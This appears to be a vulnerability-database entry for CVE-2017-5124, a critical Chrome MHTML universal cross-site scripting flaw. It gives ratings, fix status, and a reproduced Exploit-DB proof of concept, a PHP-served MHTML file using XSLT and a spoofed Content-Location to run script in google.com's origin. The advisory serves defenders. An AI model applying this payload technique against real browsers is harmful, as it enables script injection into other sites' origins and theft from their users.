CVE-2017-5124
critical
CVSS v3
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CVSS v4 NEW
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VIR risk
10.0
Description
multiple issues in chromium
Predictions
Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Webkit (Chome < 61) - 'MHTML' Universal Cross-site Scripting
<?php
$filename=realpath("PoC.mht");
header( "Content-type: multipart/related");
readfile($filename);
?>
MIME-Version: 1.0
Content-Type: multipart/related;
type="text/html";
boundary="----MultipartBoundary--"
CVE-2017-5124
------MultipartBoundary--
Content-Type: application/xml;
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>
------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com
<script>alert('Location origin: '+location.origin)</script>
------MultipartBoundary----OS impact
Arch Fixed 1 release
| Version | Status | Fixed in |
|---|---|---|
| — | Fixed | 62.0.3202.62-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.